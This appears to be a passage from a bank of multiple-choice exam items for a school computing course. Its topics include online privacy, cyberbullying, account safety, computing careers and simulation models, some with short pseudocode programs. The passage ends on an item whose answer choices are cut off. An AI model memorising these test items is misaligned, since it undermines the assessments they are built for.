0001.h.1.2

Years after a student deletes a blog post, a recruiter finds the text quoted on an unrelated site. This outcome best illustrates that online information:

A. can outlast its deletion from the original site.

B. belongs to whichever site displayed it most recently.

C. stays public until a court orders its removal.

D. remains stored permanently in the author's account.

Answer: page 970

0001.h.1.3

A high school senior wants to reduce the risks from old public posts before applying to colleges. Which step is most realistic?

A. deleting the account, which also removes others' copies

B. setting the account to private, which recalls anything shared

C. removing old posts while recognizing that copies may remain

D. changing the password so that old posts become unreadable

Answer: page 970

0001.h.1.4

A student tells a friend, "The account is private, so what I post stays private." Which fact most directly challenges this belief?

A. Search engines index the posts on private accounts.

B. Approved followers can screenshot and share the posts.

C. Platforms delete private posts sooner than public posts.

D. Private accounts turn public after a period of inactivity.

Answer: page 970

0001.h.1.5

A teacher prepares a lesson on why a student's public page from years ago might still matter today. Which activity makes the point most directly?

A. using a web archive to find earlier versions of a page

B. clearing the browser history and then reloading the same page

C. checking a page's privacy settings from a follower's account

D. comparing how two search engines rank the same page

Answer: page 970

Personally identifiable information

0001.h.2.1

A class survey publishes results that omit names but include each student's birth date, school, and homeroom. The most significant concern is that:

A. students may have entered false birth dates on the survey.

B. results without names cannot be checked for accuracy.

C. the combined details could identify specific students.

D. the homeroom field adds little value to the analysis.

Answer: page 971

0001.h.2.2

A data file lists student records. Which field, on its own, is sufficient to identify a particular person?

A. a Social Security number

B. a school name

C. a ZIP code

D. a birth date

Answer: page 971

0001.h.2.3

A teacher wants to share an example of student work at a conference without revealing whose work it is. Which edit best achieves this goal?

A. deleting the last name but keeping the first name and school

B. having a colleague read the work over before it is shared

C. converting the file into a format that cannot be edited

D. removing the name, school, and other identifying details

Answer: page 971

0001.h.2.4

A student's username combines a first name and graduation year, and the profile lists a school sports team. None of these details seems sensitive alone. Why does the profile still pose a risk?

A. Usernames with first names can be used to reset passwords.

B. Graduation years are protected by federal privacy law.

C. Sports rosters are confidential school records.

D. Together, the details could point to one student.

Answer: page 971

0001.h.2.5

A teacher plans an anonymous survey of all ninth graders at one school. Which pair of questions would do the most to undermine the survey's anonymity?

A. grade level and school name

B. favorite subject and weekly homework hours

C. opinion of the course and of its pace

D. birth date and homeroom number

Answer: page 971

Location and photo metadata

0001.h.3.1

A student posts a photo taken at home on a public site and feels safe because no street address is visible. Which risk has the student most likely overlooked?

A. browsing history uploaded with the image

B. location data stored in the image file

C. contacts attached by the camera app

D. the file name given by the phone's camera

Answer: page 971

0001.h.3.2

An analyst examines the properties panel of an original photo file from a phone without viewing the image itself. Which details could the panel reveal?

A. the browsing history of people who viewed it

B. the time and GPS location of capture

C. the home address listed by the phone's owner

D. the phone's list of saved contacts

Answer: page 971

0001.h.3.3

A student wants to share photos taken near home without revealing where the student lives. Which step is most effective?

A. uploading the pictures only to an account with few followers

B. posting the pictures several days after they were taken

C. turning off location tagging and checking the background of each photo

D. renaming each picture file before it is posted to the site

Answer: page 971

0001.h.3.4

A student crops a street sign out of a photo before posting it, but a school jacket and a mailbox number remain visible. What does this situation best show?

A. Cropping an image also erases its stored capture information.

B. The risk from a photo depends mainly on the size of its audience.

C. Stored location data is the main way a photo reveals a place.

D. Visible details can disclose a location without stored data.

Answer: page 971

0001.h.3.5

A student's location-sharing app shows the student's position to more than two hundred "friends" from several social platforms. A safety-minded recommendation would be to:

A. keep sharing broadly, since more watchers add safety.

B. post check-ins on a public profile instead.

C. share the position only on trips home.

D. limit location sharing to a few trusted people.

Answer: page 971

Evaluating online information

0001.h.4.1

A student finds a polished website with a professional logo claiming that a vitamin cures asthma. Which strategy best evaluates the claim?

A. checking the page for spelling errors and low-quality images

B. searching what trusted sources say about the site and claim

C. confirming that the site displays a lock icon in the browser

D. reading the site's "About" page to learn its stated mission

Answer: page 971

0001.h.4.2

A librarian advises students who encounter an unfamiliar site to open new tabs right away rather than studying the site itself. The purpose of this advice is to have students:

A. find spelling and grammar errors on the site more quickly.

B. keep several of the site's own pages open at once.

C. learn what other sources say about the site.

D. compare how the site looks in different browsers.

Answer: page 971

0001.h.4.3

A video of a public official making an outrageous statement spreads quickly online. Given current tools for generating realistic video, which response is most reliable?

A. accepting it as real, since video is hard to fabricate

B. watching closely for visual glitches around the official's face

C. looking for reports from trusted outlets on its authenticity

D. checking whether many separate accounts have shared it independently

Answer: page 971

0001.h.4.4

A student judges a website credible because of its ".org" address. The flaw in this reasoning is that:

A. a ".org" address shows only that the connection is encrypted.

B. almost any person or group can register such an address.

C. only charities use the ending, and they are often biased.

D. registrars recheck ".org" sites every few years.

Answer: page 971

0001.h.4.5

A teacher wants students to practice evaluating a statistic that has gone viral. Which assignment best builds this skill?

A. tracing the statistic to its source and comparing reports

B. checking whether a verified account was the one to post it

C. building a chart to see whether the number looks plausible

D. counting how many different websites repeat the statistic

Answer: page 971

Cyberbullying response

0001.h.5.1

A student receives repeated cruel messages from classmates through a group chat. Which response is most appropriate for the student?

A. deleting the messages and blocking the senders to forget the matter

B. saving the messages, blocking the senders, and telling a trusted adult

C. replying in kind so that the senders see no sign of retreat

D. posting the messages publicly so that classmates can judge

Answer: page 971

0001.h.5.2

Which law requires New York public schools to address harassment, including cyberbullying?

A. the Family Educational Rights and Privacy Act

B. the Stop Hacks and Improve Electronic Data Security Act

C. the Dignity for All Students Act

D. the Children's Internet Protection Act

Answer: page 972

0001.h.5.3

A school learns that students used personal phones after school hours to harass a classmate, and that the harassment is disrupting the classmate's school life. The school's most appropriate position is that:

A. it should refer the matter to police as outside its authority.

B. it may act only if messages crossed the school's network.

C. it has no role, since the phones belong to families.

D. it may need to act, since the effects reach the school.

Answer: page 972

0001.h.5.4

A teacher is told about a group chat in which students mock a classmate. Which is the most appropriate first step?

A. reporting the chat to the app's developers and taking no further action

B. asking the targeted student to leave and resolve the matter alone

C. holding a class discussion of the chat without naming anyone

D. following reporting procedures and supporting the targeted student

Answer: page 972

0001.h.5.5

A bystander sees a classmate being mocked in a shared online space. Which action is most consistent with responsible use?

A. staying out of it, since the bystander did not write the posts

B. replying with an insult directed at the posters

C. reporting the posts and offering support to the classmate

D. sharing the posts with others so that more people know

Answer: page 972

Healthy technology use

0001.h.6.1

A student stays up late because notifications keep arriving and reports feeling tired in class. Which response most directly addresses the behavior?

A. lowering the screen brightness while leaving notifications on

B. moving the same conversations to a similar app without ads

C. catching up on all of the missed alerts each morning

D. silencing nonessential notifications and setting a nighttime limit

Answer: page 972

0001.h.6.2

A health teacher and a computer science teacher are planning a joint unit on students' relationship with their apps. Which learning goal best fits this unit?

A. noticing how particular apps affect mood and attention

B. ranking apps by total daily minutes alone

C. avoiding all screens at school for health reasons

D. memorizing the terms of service for each app used

Answer: page 972

0001.h.6.3

A class compares students' total daily screen time and finds large differences, but one heavy user spends most of that time coding. Which conclusion is most appropriate?

A. Coding time should be left out of every measure of screen time.

B. What a person does on a screen matters along with how long.

C. Daily totals reported by devices are too unreliable to compare.

D. Total time is the most reliable measure of a healthy habit.

Answer: page 972

0001.h.6.4

A teacher wants students to build awareness of their own technology habits. Which activity is most appropriate?

A. comparing students' screen time to identify the heaviest users

B. installing a stricter parental control app on student devices

C. reading a list of the health effects of screen use

D. keeping a one-week log of app use and how each app felt

Answer: page 972

0001.h.6.5

A parent wants to ban a teen's phone at bedtime. The teen objects that the phone serves as an alarm clock. Which compromise best addresses both sleep and the teen's stated need?

A. allowing use until the teen feels tired, with no fixed stopping time

B. leaving the phone by the bed but closing all apps at night

C. keeping the phone on the nightstand with the screen dimmed

D. using a separate alarm clock and charging the phone elsewhere

Answer: page 972

Account hygiene for students

0001.h.7.1

Two students working on a shared essay trade passwords so that each can edit from the other's account. A better approach is to:

A. keep trading passwords but change them later.

B. store both passwords in a private note.

C. log in with one account on both devices.

D. use the sharing feature of the application.

Answer: page 972

0001.h.7.2

After finishing work on a shared computer in a school library, a student should first:

A. log out of all accounts.

B. empty the download folder.

C. turn off the monitor.

D. close the browser tab.

Answer: page 972

0001.h.7.3

A student's best friend asks for the student's password "just in case." The most significant risk of sharing it is that:

A. sharing any password violates federal student privacy law.

B. actions taken with the account will be attributed to the student.

C. the platform will detect the second device and close the account.

D. the account's storage will shrink because of the added logins.

Answer: page 972

0001.h.7.4

A teacher finds a student's account left open on a classroom laptop. What is the best action?

A. changing the student's password and emailing the new one to the student

B. leaving the account open until the student returns to the classroom

C. logging the account out and reminding the class about shared devices

D. using the open account to send the student a reminder message

Answer: page 972

0001.h.7.5

A class project requires a shared storage folder, and the teacher needs to be able to tell who changed each file. Which arrangement best serves this need?

A. a single login that the teacher enters at the start of class

B. each student using an individual account with access to the folder

C. one project account whose password is given only to group members

D. a shared password sent over a group chat and then deleted

Answer: page 972

0001.i Careers and habits of mind

Read about this in the content summary: 0001.i, page 33.

Computing across industries

0001.i.1.1

A student who loves farming doubts that computer science is relevant to any career of interest. Which example would best connect the student's interest with the field?

A. studying the history of computer hardware

B. building websites for large technology companies

C. using sensor data to adjust crop irrigation

D. repairing tractor engines with hand tools

Answer: page 972

0001.i.1.2

A planner for a school career fair wants an accurate banner about where computing is used. Which statement should the banner carry?

A. Government relies on outside vendors and has few computing roles.

B. Agriculture and journalism both rely on computing in their core work.

C. The arts use computing mainly for promotion and ticket sales.

D. Health care uses computing almost entirely for billing records.

Answer: page 972

0001.i.1.3

A newspaper uses data analysis to find unusual patterns in public spending, which leads to an investigation. Which statement best describes the role of computing in this case?

A. It replaced the need for reporters to interview people for the story.

B. It established wrongdoing, which made any further reporting unnecessary.

C. It extended the reporters' ability to find a story in large records.

D. It confined reporters to questions the data already answered.

Answer: page 973

0001.i.1.4

A teacher wants to broaden participation in a computer science class. Which approach best supports that goal?

A. emphasizing the high salaries that are typical of programming jobs

B. focusing on software careers at a few large technology companies

C. showing how computing is used in fields students already care about

D. explaining that computing roles generally call for advanced mathematics

Answer: page 973

0001.i.1.5

An art student writes a program that generates patterns for textile designs. This student's use of computing best illustrates that:

A. computing in the arts mainly promotes finished work.

B. generated patterns chiefly serve as tests of program logic.

C. artists must give up traditional methods to use computers.

D. computing can serve as a creative medium in the arts.

Answer: page 973

Common computing roles

0001.i.2.1

A hospital wants someone to examine admission records and report which factors predict longer stays. Which role best fits this work?

A. network administrator

B. data analyst

C. software developer

D. security analyst

Answer: page 973

0001.i.2.2

A company's offices lose connectivity whenever a particular switch fails. Which professional is most directly responsible for resolving this issue?

A. data analyst

B. help desk technician

C. software developer

D. network administrator

Answer: page 973

0001.i.2.3

A university's overnight alerts show repeated login attempts on staff accounts from unfamiliar locations. Which professional would most directly investigate and respond?

A. security analyst

B. network administrator

C. software developer

D. data analyst

Answer: page 973

0001.i.2.4

A student enjoys turning a list of user requirements into working applications, but has little interest in maintaining equipment or reporting on trends. Which career is the best match?

A. data analyst

B. network administrator

C. software developer

D. security analyst

Answer: page 973

0001.i.2.5

After a ransomware incident, a company reviews logs to find how the attackers got in and then restores service from backups. Which pairing best assigns these two tasks?

A. data analyst for the logs; software developer for the restoration

B. system administrator for the logs; security analyst for the restoration

C. network administrator for the logs; data analyst for the restoration

D. security analyst for the logs; system administrator for the restoration

Answer: page 973

Front-end and back-end development

0001.i.3.1

A user reports that a website's Submit button is hidden on mobile screens. Which developer would most likely fix this problem?

A. a database administrator

B. a back-end developer

C. a network administrator

D. a front-end developer

Answer: page 973

0001.i.3.2

An online store must apply discount rules before charging a card and must save each completed order for later retrieval. Which role most directly handles this work?

A. a user experience designer

B. a back-end developer

C. a front-end developer

D. a web designer

Answer: page 973

0001.i.3.3

A student wants to prepare for a job building the screens and controls that visitors use in a browser. Which set of tools should the student study first?

A. SQL, Linux, and server scripting

B. HTML, CSS, and JavaScript

C. R, SQL, and spreadsheets

D. firewalls, VPNs, and intrusion detection

Answer: page 973

0001.i.3.4

A team's application programming interface (API) returns correct data, but pages load slowly because a query scans an entire table. Which developer is best placed to improve this query?

A. a front-end developer

B. a network administrator

C. a web designer

D. a back-end developer

Answer: page 973

0001.i.3.5

A student likes both designing interfaces and writing server logic, and wants to work across the whole web application. The most fitting role is:

A. embedded developer.

B. database administrator.

C. user experience designer.

D. full-stack developer.

Answer: page 973

User experience design

0001.i.4.1

Before writing code for a school portal, a team interviews parents, creates clickable mock-ups, and observes people trying them. These tasks are characteristic of:

A. data analysis.

B. quality assurance testing.

C. technical writing.

D. user experience design.

Answer: page 973

0001.i.4.2

Compared to a software developer, a user experience designer typically relies more on:

A. illustration for marketing campaigns.

B. research with users and prototyping.

C. automated tests of production code.

D. analysis of server performance logs.

Answer: page 973

0001.i.4.3

Testing shows that many users abandon a mobile checkout on the third screen. Which next step would a user experience designer most likely take?

A. rewriting the screen's code in a newer framework

B. asking the marketing team to offer a checkout discount

C. reviewing the server logs for errors on that screen

D. observing users to learn what confuses them on that screen

Answer: page 973

0001.i.4.4

A student who enjoys psychology and sketching interface ideas, but not extensive coding, asks about computing careers. Which career should a teacher suggest exploring?

A. back-end developer

B. user experience designer

C. data analyst

D. front-end developer

Answer: page 973

0001.i.4.5

A team builds a prototype out of paper screens and tests it before writing any code. The most significant benefit of this approach is that:

A. design problems are found before they are costly to change.

B. the final product will need no further testing with its users.

C. developers receive a specification that will not change.

D. the paper version gives early measures of the software's performance.

Answer: page 973

Interdisciplinary fields

0001.i.5.1

A researcher compares gene sequences across thousands of species using custom software. This work best illustrates:

A. digital humanities.

B. bioinformatics.

C. computational social science.

D. network engineering.

Answer: page 973

0001.i.5.2

A historian uses text analysis to trace how a word's meaning changed across thousands of nineteenth-century novels. This work best fits:

A. bioinformatics.

B. software engineering.

C. digital humanities.

D. computational social science.

Answer: page 973

0001.i.5.3

A university is creating three computing programs: one on biological data, one on texts and culture, and one on social questions. Which project belongs in the third program?

A. aligning genome sequences across related species

B. analyzing the language of medieval manuscripts

C. modeling how friendship networks influence voting

D. designing memory circuits for faster processors

Answer: page 974

0001.i.5.4

A student who loves biology and is good at programming wonders whether a choice between them is necessary. The best advice would be that:

A. biology research leaves programming to separate technical staff.

B. a computer science major closes off later study of biology.

C. fields such as bioinformatics combine these interests.

D. biologists use computers mainly for writing reports.

Answer: page 974

0001.i.5.5

A sociologist analyzes millions of social media posts to study how rumors spread. The main advantage of the computational approach is that it:

A. reduces the importance of a theoretical question about social behavior.

B. makes the conclusions less subject to bias from the researcher.

C. captures the behavior of the whole population.

D. enables analysis at a scale that is impractical by hand.

Answer: page 974

Legacy systems

0001.i.6.1

An insurance company needs staff to maintain critical claims software written decades ago. Which skill is most likely to be useful?

A. building new mobile applications

B. training neural network models

C. reading and modifying COBOL programs

D. writing modern JavaScript interfaces

Answer: page 974

0001.i.6.2

A state's unemployment system, written in an old language, struggled when claims surged, and the state sought programmers to help. Why would such programmers have been in demand?

A. Older languages run too slowly for a surge without expert tuning.

B. The system was critical, and few newer programmers know its language.

C. Federal rules require unemployment systems to use only older languages.

D. The surge called for rewriting the system in a modern language within days.

Answer: page 974

0001.i.6.3

A state agency's technology inventory has a category for aging systems that must be kept running because daily operations depend on them. Which entry belongs in this category?

A. a decades-old COBOL program still paying benefits

B. a new mobile app released without documentation

C. a recent program that only its authors can modify

D. a 1980s mainframe program shut down and archived

Answer: page 974

0001.i.6.4

A bank has run a stable transaction system for forty years and is considering rewriting it. Which argument best explains the bank's hesitation?

A. A forty-year-old system can have no remaining defects to correct.

B. Replacing a critical system introduces risk and a high cost.

C. Modern languages lack the precision that finance needs.

D. Regulators prohibit banks from changing their core transaction systems.

Answer: page 974

0001.i.6.5

A student doubts that a unit on an older programming language has any career value. Which example is the strongest response?

A. Government agencies need staff who can maintain older critical systems.

B. Most new mobile applications are still written in older languages.

C. Employers test nearly all applicants on older languages before hiring.

D. New programmers learn faster by studying languages in historical order.

Answer: page 974

Habits of mind for computing careers

0001.i.7.1

A new programmer spends two days on a subtle bug, testing one hypothesis after another and asking colleagues for ideas. Which quality does this behavior most clearly show?

A. preference for working alone on problems

B. breadth of knowledge across many languages

C. memorization of the language's syntax

D. persistence in debugging a difficult problem

Answer: page 974

0001.i.7.2

A client gives a software team vague requirements, which change as the project goes on. Which trait is most valuable for working effectively with this client?

A. speed in writing code from each new request

B. independence from any contact with the client

C. preference for tasks with one fixed answer

D. tolerance of ambiguity and clear communication

Answer: page 974

0001.i.7.3

A developer with twenty years of experience takes a course each year, although no employer requires it. Which reason best explains why this practice is valuable?

A. Most computing certifications expire after a single year.

B. Programming languages go out of use about every five years.

C. Tools and practices change throughout a career.

D. Skills from early in a career have no use in later roles.

Answer: page 974

0001.i.7.4

A teacher wants to build career-relevant habits in a programming class. Which classroom norm most directly supports this goal?

A. assigning only tasks that have one clearly stated answer

B. requiring memorized syntax on weekly quizzes

C. explaining one's debugging process to a partner

D. rewarding students who succeed in the fewest attempts

Answer: page 974

0001.i.7.5

A student has strong technical skills but rarely documents code and dismisses questions from teammates. Which advice is most relevant to future employment?

A. Strong technical skill generally makes up for weak communication.

B. Questions from teammates are generally routed through managers.

C. Employers expect clear communication along with technical skill.

D. Documentation at most companies is left to separate technical writers.

Answer: page 974

Tool fluency in the workplace

0001.i.8.1

A new hire finds that a team's branching procedure and review steps take longer than the personal approach used in college. Which course of action would best serve this person's career?

A. using the personal approach without mentioning it to the team

B. asking a manager for an exemption until the procedure is faster

C. learning the team's procedure and working within it

D. proposing the personal approach in the first week

Answer: page 974

0001.i.8.2

Several developers on a team change the same program each week and sometimes need to learn who changed what, and when. Which tool is designed for this need?

A. a compiler

B. a code formatter

C. version control

D. a debugger

Answer: page 974

0001.i.8.3

A student intern submits working code but skips the team's review process because the code "already works." The most significant issue is that:

A. reviews mainly decide whether interns are offered jobs.

B. commercial software must by law pass through a review process.

C. working code still needs to be rewritten by a senior developer.

D. review is part of how the team maintains shared quality.

Answer: page 974

0001.i.8.4

A teacher wants students to experience professional software team workflows before they begin internships. Which activity best serves this goal?

A. working alone with tools that each student has chosen

B. learning the basics of as many languages as possible

C. memorizing keyboard shortcuts for a text editor

D. using branches and pull requests for a group project

Answer: page 974

0001.i.8.5

A company uses an older language and tool chain because of its existing products. A recent graduate who knows only newer tools should conclude that:

A. the older tools limit what the company can deliver to its customers.

B. the company will need to switch to newer tools to keep new staff.

C. learning the existing tools is part of doing the job effectively.

D. the graduate's prior education is of little value in the workplace.

Answer: page 974

Pathways into computing

0001.i.9.1

A working adult wants to move into computing without leaving a job to attend a four-year college. Which pathway is most realistic?

A. a resume listing the names of popular software products

B. an unpaid position with no training or mentoring

C. a doctoral program in theoretical computer science

D. a certificate program combined with a portfolio of projects

Answer: page 975

0001.i.9.2

A sophomore wants work experience at a company before graduating, along with a possible path to being hired there. Which option best fits this goal?

A. a personal portfolio

B. a certification exam

C. an online course

D. an internship

Answer: page 975

0001.i.9.3

A self-taught programmer with no degree applies to a small software company. Which evidence is most likely to demonstrate readiness?

A. a list of languages the applicant has studied

B. a letter describing a passion for technology

C. a portfolio of working projects that the applicant built

D. a record of hours spent in online tutorials

Answer: page 975

0001.i.9.4

A counselor is advising a student who cannot currently afford a four-year college but wants a computing career. Which guidance is most accurate?

A. Employers place little weight on credentials from community colleges.

B. Community college and apprenticeships are recognized routes into the field.

C. A two-year degree generally prepares students for hardware repair positions.

D. Certifications carry weight after the holder gains several years of experience.

Answer: page 975

0001.i.9.5

A teacher wants to help students who believe that computing careers are limited to people who started programming as children. Which approach best addresses this belief?

A. showing average salaries for software engineers at the largest companies

B. profiling well-known founders who began programming in elementary school

C. giving extra practice so that students can catch up with early starters

D. introducing professionals who entered the field through varied pathways

Answer: page 975

0002 Computational thinking and programming

0002.a Models and simulations

Read about this in the content summary: 0002.a, page 48.

Model and simulation

0002.a.1.1

A transit authority is considering a dedicated bus lane on a congested avenue. Closing the avenue for a month to try the idea would disrupt hundreds of businesses, so analysts write a program that represents the avenue's intersections, vehicle arrivals, and signal timing, and then advance that representation minute by minute through thousands of simulated rush hours. Which statement best characterizes the position of the analysts once the program has finished?

A. They have reproduced every factor affecting the avenue, because a program of this size captures all driver and vehicle behavior on the avenue.

B. They have compared lane designs cheaply and safely, and their findings remain provisional until checked against the avenue itself.

C. They have assembled a record of past traffic, which can be queried to show how the avenue behaved before the proposal.

D. They have measured the lane's effect on travel times, so a later trial on the avenue would add no information.

Answer: page 975

0002.a.1.2

An ecology class writes the following program to explore how the share of a pond covered by duckweed might change. Each day, the plant spreads by 30 percent of its current coverage, and grazing animals remove a fixed amount.

```
01 function next_cover(int cover)
02   int growth = cover * 30 / 100
03   int eaten = 5
04   return cover + growth - eaten
05
06 int cover = 40
07 for (int day = 1; day <= 4; day = day + 1)
08   cover = next_cover(cover)
09   output(cover)
```

Which statement best describes the respective roles of `next_cover()` and the loop on lines 07-09?

A. The function expresses a simplified rule for how the pond changes, and the loop carries that rule forward through time.

B. The function fully describes the pond, and the loop serves only to format that description for display.

C. The function is the simulation because it performs the arithmetic, and the loop is the model because it holds the results.

D. The function records measurements gathered from the pond, and the loop retrieves them in their order of collection.

Answer: page 975

0002.a.1.3

A school safety committee wants to estimate how long a building would take to empty under different stairwell arrangements. One member proposes representing each student by walking speed, current position, and assigned exit. Another member proposes also including each student's grade point average, lunch period, and favorite subject, since those values are already available in the student information system. The second proposal should most likely be declined because:

A. a program becomes less accurate with each attribute added, so the fewest possible attributes should be used.

B. those attributes have no bearing on evacuation time, so the question gives no reason to represent them in it.

C. a program is expected to hold quantities that change during a run, and a favorite subject stays fixed throughout.

D. the student information system is built for reporting and cannot supply its stored values to a simulation program.

Answer: page 975

0002.a.1.4

Engineers at a regional power utility need to learn how the grid behaves when several transmission lines fail during a heat wave. One option is to disconnect the lines deliberately on a hot afternoon, with customers still connected. The other is to run a program representing generators, lines, and customer demand. Compared to the deliberate disconnection, the program:

A. provides the grid's actual response, so its conclusions need no comparison with the utility's records of past failures and repairs.

B. permits many failure combinations to be explored safely first, though its conclusions depend on how well it represents the grid.

C. offers little engineering value, because a result that was not observed on real equipment is rarely used in later planning.

D. must represent the generators, wires, and household appliances in full detail before its conclusions deserve consideration.

Answer: page 975

0002.a.1.5

A conservation group uses the following program to represent a lake's trout. The population is assumed to grow by 10 percent each year, and anglers are assumed to remove 15 fish.

```
01 int trout = 210
02 for (int year = 1; year <= 3; year = year + 1)
03   trout = trout + trout * 10 / 100 - 15
04 output(trout)
```

The program displays `230`. This value is best interpreted as:

A. the count that these assumed rates produce after three simulated years, rather than an observed count.

B. evidence that the lake's growth rate is 10 percent, since otherwise the program could not have finished.

C. the number of trout that will be in the lake in three years, since the arithmetic has no errors.

D. the number of trout most recently counted in the lake, retrieved from the group's stored survey.

Answer: page 975

Abstraction in models

0002.a.2.1

A river authority issues flood forecasts every six hours using a program that divides the valley into square cells and updates the water level in each cell. Cells 100 meters wide allow a run to finish in about one hour. Cells 5 meters wide would capture individual streets and embankments, yet the authority keeps the wider cells for its routine forecasts. The decision is best explained by the fact that:

A. wider cells give more accurate water levels, since fewer calculations leave fewer opportunities for error to accumulate.

B. the narrower cells would demand so much calculation that a run could not finish while its forecast was still useful.

C. streets and embankments affect the flow of water so little that representing them would leave forecasts unchanged.

D. a cell 5 meters wide is too small to hold values for water level and elevation in a variable.

Answer: page 975

0002.a.2.2

An analyst uses the function below to estimate the work required by a program that models a square region. The argument `cells_per_km` sets how finely the region is divided, and `steps` is the number of time steps in a run.

```
01 function cell_updates(int side_km, int cells_per_km, int steps)
02   int cells = (side_km * cells_per_km) * (side_km * cells_per_km)
03   return cells * steps
04
05 output(cell_updates(10, 2, 100))
06 output(cell_updates(10, 4, 100))
```

The analyst expected that doubling the fineness of the division would double the work. Which statement best describes the result?

A. The work is unchanged, since the size of the region and the number of steps stay the same.

B. The work falls by half, since each cell covers a smaller area and requires less calculation.

C. The work grows fourfold, since the finer division applies along both directions of the region.

D. The work doubles as expected, since `cells_per_km` is one of only three arguments to the function.

Answer: page 975

0002.a.2.3

A game studio’s racing title represents each car as a rigid box with a mass and a grip value. A new developer proposes representing every bolt and spring in the suspension. Testing shows that this

change makes each frame take 40 times longer to compute, and players in a trial could not tell the two versions apart. The most defensible response is to:

A. replace the physics with footage of real cars, because any model that omits details misrepresents how cars move.

B. adopt the bolts and springs, because a model improves with every added detail and hardware will eventually absorb the cost.

C. reduce the car to a single point with no mass, because a model with the fewest features is the most accurate.

D. keep the rigid box, because the added detail does not improve the game enough to justify its computing cost on every frame.

Answer: page 975

0002.a.2.4

A district estimates next year's kindergarten enrollment from recent births in its attendance zones, ignoring families who move in or out. For eight years, the estimates have been close enough for the district to decide how many teachers to hire. A board member calls the approach invalid because it leaves out migration. Which reply is most appropriate?

A. The model should be set aside until it includes every factor that could affect enrollment, such as migration and housing.

B. A model built from birth counts is valid by definition, because government records rarely contain significant errors.

C. Migration cannot change enrollment in a meaningful way, so leaving it out has no consequence for the estimates.

D. All models omit factors, so this one should be judged by whether its estimates serve the staffing decision it supports.

Answer: page 976

0002.a.2.5

A researcher studying how fire spreads across a forest has a program that tracks each individual leaf, and a run takes three months. Results are needed within a week. Which change is most appropriate?

A. adding the insects on each leaf so that results are realistic enough to require only one run

B. running the current version with a different seed so that the leaves burn in a more favorable order

C. representing stands of trees as cells with a shared fuel level, while retaining wind and spacing

D. removing wind and the spacing between stands while continuing to track the moisture of each leaf

Answer: page 976

Agent-based models and emergence

0002.a.3.1

The following program represents cars on a circular one-lane road, where `1` marks a car and `0` marks an empty cell. Cars travel toward higher positions.

```
01 /* A car moves ahead one cell only when the next cell is empty. */
02 int[] road = [1, 1, 1, 1, 0, 0, 1, 0, 0, 0]
03 int n = road.size[1]
04
05 for (int step = 1; step <= 3; step = step + 1)
06   int[] next = []
07   for (int c = 0; c < n; c = c + 1)
08     next.append(0)
09   for (int i = 0; i < n; i = i + 1)
10     if (road[i] == 1)
11       int ahead = (i + 1) % n
12       if (road[ahead] == 0)
13         next[ahead] = 1
14       else
15         next[i] = 1
16   road = next
17   output(road)
```

The output shows the group of stopped cars at the low positions shrinking, with its front edge moving toward lower positions, against the direction of travel. Which statement best characterizes this backward movement?

A. It is stored in the initial value of `road`, which lists where the stopped group will be at each step.

B. It is a group-level pattern that results from cars applying one rule about the next cell, although no statement describes it.

C. It is a defect introduced by the `%` operator, because a correct program produces only those movements that are stated in its code.

D. It is directed by the outer loop, which acts as a central controller telling the group when to form and when to dissolve.

Answer: page 976

0002.a.3.2

A student wants to investigate how a flock of starlings forms and changes shape, given that no individual bird can perceive the whole flock. Which approach best fits this question?

A. recording video of real flocks at dusk, and replaying the footage while tracing the outline in each frame

B. designating one lead bird that calculates the target shape, and having it send that shape to the others

C. writing one equation that gives the flock's outline at each moment, and plotting it over a range of times

D. giving each simulated bird a few rules about its nearest neighbors, and running many such birds together

Answer: page 976

0002.a.3.3

An epidemiologist has a model in which a single equation gives the infected share of a city on each day. A colleague rebuilds the model so that each resident is represented separately and may catch the illness from people that resident meets. What most clearly distinguishes the colleague's version?

A. Behavior is specified for individuals, and citywide totals are found by observing what their interactions produce.

B. A central resident holds the citywide totals and instructs the other residents about whether each should become ill.

C. Each resident holds an identical copy of the same data, so that one resident's state matches those of the others.

D. Citywide totals are entered at the start of a run, and each resident is then assigned a share of them.

Answer: page 976

0002.a.3.4

In a model of a housing market, each household is content as long as a few of its immediate neighbors resemble it, and a discontented household moves to a vacant house. When the model runs, neighborhoods become far more uniform than any household required. A student concludes that the model shows that households want extreme separation. The flaw in this conclusion is that:

A. a program representing households leaves preferences out, so the result is unrelated to what households want.

B. a model produces patterns no stronger than its rules, so the student must have introduced an error.

C. a strong marketwide pattern can arise even though no individual household intended or preferred that outcome.

D. separation is represented correctly by equations for each neighborhood, and not by rules for each household.

Answer: page 976

0002.a.3.5

In the following program, each of 12 people seated in a circle holds a view, either `1` or `0`, and repeatedly reconsiders it after hearing from the two people seated nearest.

```
01 /* Each person adopts the view held by most of a group of three. */
02 int[] view = [1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0]
03 int n = view.size[1]
04
05 for (int round = 1; round <= 2; round = round + 1)
06   int[] updated = []
07   for (int i = 0; i < n; i = i + 1)
08     int left = view[(i + n - 1) % n]
09     int right = view[(i + 1) % n]
10     if (left + view[i] + right >= 2)
11       updated.append(1)
12     else
13       updated.append(0)
14   view = updated
15   output(view)
```

The output shows blocks of like-minded neighbors. Which revision would remove the feature that makes this an agent-based model?

A. changing the initial values of `view` so that people holding the same view begin seated together

B. enlarging the circle to 1,000 people while keeping each person's group of three unchanged

C. having each person adopt whichever view is held by most of the entire circle at that moment

D. raising the limit on `round` so that the people reconsider their views for many more rounds

Answer: page 976

Model validation

0002.a.4.1

A student builds a program that predicts final exam scores from homework and attendance using last year's class. After many adjustments, including separate terms for a few individual students, the program reproduces last year's scores almost perfectly. For this year's class, its predictions are

far from the actual results, even though the course has not changed. The most likely explanation is that the program:

A. has stored this year's scores incorrectly, because a program matching one class closely must match any later class of students.

B. was checked against too many students this year, and a smaller check would have brought its predictions closer.

C. is too simple to represent how homework and attendance relate to scores, and it needs further adjustments.

D. has been fitted so closely to last year's class, chance variation included, that it does not carry over to other classes.

Answer: page 976

0002.a.4.2

The following program predicts whether a student will pass from hours of study, using the outcome of the most similar student among the records selected for building. Line 04 sets aside the last two records, and lines 15-18 are intended to estimate how the program will do on later students.

```
01 /* Each position holds one past student. */
02 int[] hours = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
03 int[] passed = [0, 0, 1, 0, 1, 0, 1, 1, 1, 0]
04 int build_count = 8
05
06 function predict(int h)
07   int best = 0
08   for (int i = 1; i < build_count; i = i + 1)
09     if ((hours[i] - h) ^ 2 < (hours[best] - h) ^ 2)
10       best = i
11   return passed[best]
12
13 int correct = 0
14
15 for (int j = 0; j < build_count; j = j + 1)
16   if (predict(hours[j]) == passed[j])
17     correct = correct + 1
18 output(correct)
```

The program displays `8`. Which replacement for line 15 best serves the stated purpose?

